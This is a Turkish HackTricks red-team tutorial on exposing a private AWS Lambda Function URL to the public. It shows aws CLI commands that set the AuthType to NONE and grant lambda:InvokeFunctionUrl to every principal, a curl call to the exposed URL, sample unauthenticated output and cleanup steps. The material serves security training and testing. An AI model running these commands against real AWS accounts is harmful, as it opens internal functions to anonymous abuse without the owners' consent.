AWS - Lambda Function URL Genel Erişime Açılma (AuthType NONE + Public Invoke Policy)

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Function URL AuthType’ı NONE yaparak ve herkese lambda:InvokeFunctionUrl izni veren bir resource-based policy ekleyerek özel bir Lambda Function URL’ini herkese açık, doğrulamasız bir endpoint’e dönüştürün. Bu, dahili fonksiyonların anonim çağrılmasına izin verir ve hassas backend işlemlerini açığa çıkarabilir.

Kötüye Kullanımı

  • Önkoşullar: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
  • Bölge: us-east-1

Adımlar

  1. Fonksiyonun bir Function URL’e sahip olduğundan emin olun (varsayılan: AWS_IAM):
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
  1. URL’i herkese açık hale getirin (AuthType NONE):
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
  1. Doğrulamasız principal’ların erişimine izin vermek için bir resource-based policy bildirimi ekleyin:
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
  1. URL’i alıp kimlik bilgileri olmadan çağırın:
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
curl -sS "$URL"

Etki

  • Lambda fonksiyonu internet üzerinden anonim olarak erişilebilir hale gelir.

Örnek çıktı (doğrulamasız 200)

HTTP 200
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}

Temizlik

aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin